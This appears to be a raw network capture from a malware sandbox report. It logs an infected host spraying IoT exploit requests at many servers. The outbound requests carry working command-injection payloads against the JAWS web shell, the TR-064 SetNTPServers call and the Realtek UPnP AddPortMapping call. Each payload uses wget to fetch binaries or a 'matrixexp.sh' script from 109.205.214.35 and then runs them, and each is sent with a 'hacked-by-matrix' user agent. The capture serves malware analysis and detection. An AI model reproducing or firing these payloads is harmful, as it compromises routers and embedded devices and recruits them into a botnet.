Mar 21, 2024 05:17:28.559763908 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:29.043823004 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:29.195029020 CET	1286	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:17:29 GMT Server: Apache Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Connection: close Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%; } .status-reason {
Mar 21, 2024 05:17:29.195168972 CET	1286	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 63 74 2d Data Ascii: font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000; } .additional-info { background-repeat: no-repeat; background-co
Mar 21, 2024 05:17:29.195266962 CET	1286	IN	Data Raw: 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 6f 72 64 2d 62 72 Data Ascii: { font-weight: bold; text-align: left; word-break: break-all; width: 100%; } .info-server address { text-align: left; } footer { text-align
Mar 21, 2024 05:17:29.195370913 CET	1286	IN	Data Raw: 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 68 65 61 64 69 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 36 32 70 78 20 30 20 30 20 39 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: } .info-heading { margin: 62px 0 0 98px; } .info-server address { text-align: left; position: absolute; right: 0; bottom: 0;
Mar 21, 2024 05:17:29.195578098 CET	1286	IN	Data Raw: 62 47 42 74 71 52 46 52 58 6f 36 2b 30 5a 35 59 51 68 35 4c 48 64 39 59 47 57 4f 73 46 2b 39 49 73 35 6f 51 58 63 74 5a 4b 62 76 64 41 41 74 62 48 48 4d 38 2b 47 4c 66 6f 6a 57 64 49 67 50 66 66 37 59 69 66 52 54 4e 69 5a 6d 75 73 57 2b 77 38 66 Data Ascii: bGBtqRFRXo6+0Z5YQh5LHd9YGWOsF+9Is5oQXctZKbvdAAtbHHM8+GLfojWdIgPff7YifRTNiZmusW+w8fDj1xdevNnbU3VFfTEL/W33pfH31cGYBpgW9Lba3Ic8C8iA77NLe514vu8BPj6/n3lCd/VkgKXGkwYUQHAaM+yQunBmNSwbRVYh+kOcgMhvRDB1Md20YfiR+UFfvdIizp2v1vVjt0usa1pmNzAX2IFl5/xaE9aqQGS
Mar 21, 2024 05:17:29.195653915 CET	1286	IN	Data Raw: 35 55 33 77 4d 78 69 6f 69 45 72 52 6d 32 6e 75 68 64 38 51 52 43 41 38 49 77 54 52 41 57 31 4f 37 50 41 73 62 74 43 50 79 4d 4d 67 4a 70 2b 31 2f 49 61 78 71 47 41 52 7a 72 46 74 74 70 68 55 52 2b 4d 76 45 50 53 78 2b 36 6d 2f 70 43 78 45 69 33 Data Ascii: 5U3wMxioiErRm2nuhd8QRCA8IwTRAW1O7PAsbtCPyMMgJp+1/IaxqGARzrFttphUR+MvEPSx+6m/pCxEi3Y7p485ESAVmuldvzSTKw2fqHSGM5hBW1IUI0f/LdONtEUKXGC95jK+Rg4QBVwNmlePZVjTxuo24kWMrQHg/nZzxDqmqFRFC799+dbEirMoVEXhVA07Y+GWNMOBCxIIpCgCpAX5KgHB6IQILHwE3HXk2XQVszdSkGE
Mar 21, 2024 05:17:29.195792913 CET	1096	IN	Data Raw: 4c 57 6b 51 38 77 6f 42 4b 79 52 2b 2b 64 55 54 73 75 45 4b 2b 4c 38 70 32 42 44 34 66 47 64 73 66 71 68 78 47 51 54 51 5a 6c 75 48 55 4c 58 72 52 73 55 46 66 42 45 30 4f 67 7a 49 6c 72 61 52 38 76 6b 77 36 71 6e 58 6d 75 44 53 46 38 52 67 53 38 Data Ascii: LWkQ8woBKyR++dUTsuEK+L8p2BD4fGdsfqhxGQTQZluHULXrRsUFfBE0OgzIlraR8vkw6qnXmuDSF8RgS8th+d+phci8FJf1fwapi44rFpfqTZAnW+JFRG3kf94Z+sSqdR1UIiI/dc/B6N/M9WsiADO00A3QU0hohX5RTdeCrstyT1WphURTBevBaV4iwYJGGctRDC1FsGaQ3RtGFfL4os34g6T+AkAT84bs0fX2weS88X7X6hX
Mar 21, 2024 05:17:29.196058035 CET	1286	IN	Data Raw: 34 30 30 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 22 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: 400</span> <span class="status-reason">Bad Request</span> </section> <section class="contact-info"> Please forward this error screen to cloudwebx3.newtekwebhosting.com's <a href="mailto:
Mar 21, 2024 05:17:29.196134090 CET	389	IN	Data Raw: 74 6d 5f 73 6f 75 72 63 65 3d 63 70 61 6e 65 6c 77 68 6d 26 75 74 6d 5f 6d 65 64 69 75 6d 3d 63 70 6c 6f 67 6f 26 75 74 6d 5f 63 6f 6e 74 65 6e 74 3d 6c 6f 67 6f 6c 69 6e 6b 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 34 30 30 72 65 66 65 72 72 61 Data Ascii: tm_source=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=400referral" target="cpanel" title="cPanel, Inc."> <img src="/img-sys/powered_by_cpanel.svg" height="20" alt="cPanel, Inc." /> <div

Session ID	Source IP	Source Port	Destination IP	Destination Port
327	192.168.2.13	43458	137.184.247.130	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:28.079870939 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
328	192.168.2.13	34062	163.172.118.210	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:28.102565050 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:29.043819904 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:29.222337008 CET	181	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
329	192.168.2.13	34952	23.19.250.24	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:28.102674007 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:29.043822050 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:29.222580910 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:29 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
330	192.168.2.13	35388	121.165.34.251	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:28.178464890 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:29.043406010 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:29.907793045 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
331	192.168.2.13	52268	154.215.65.73	52869

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:28.191494942 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:17:32.339790106 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:17:38.486841917 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 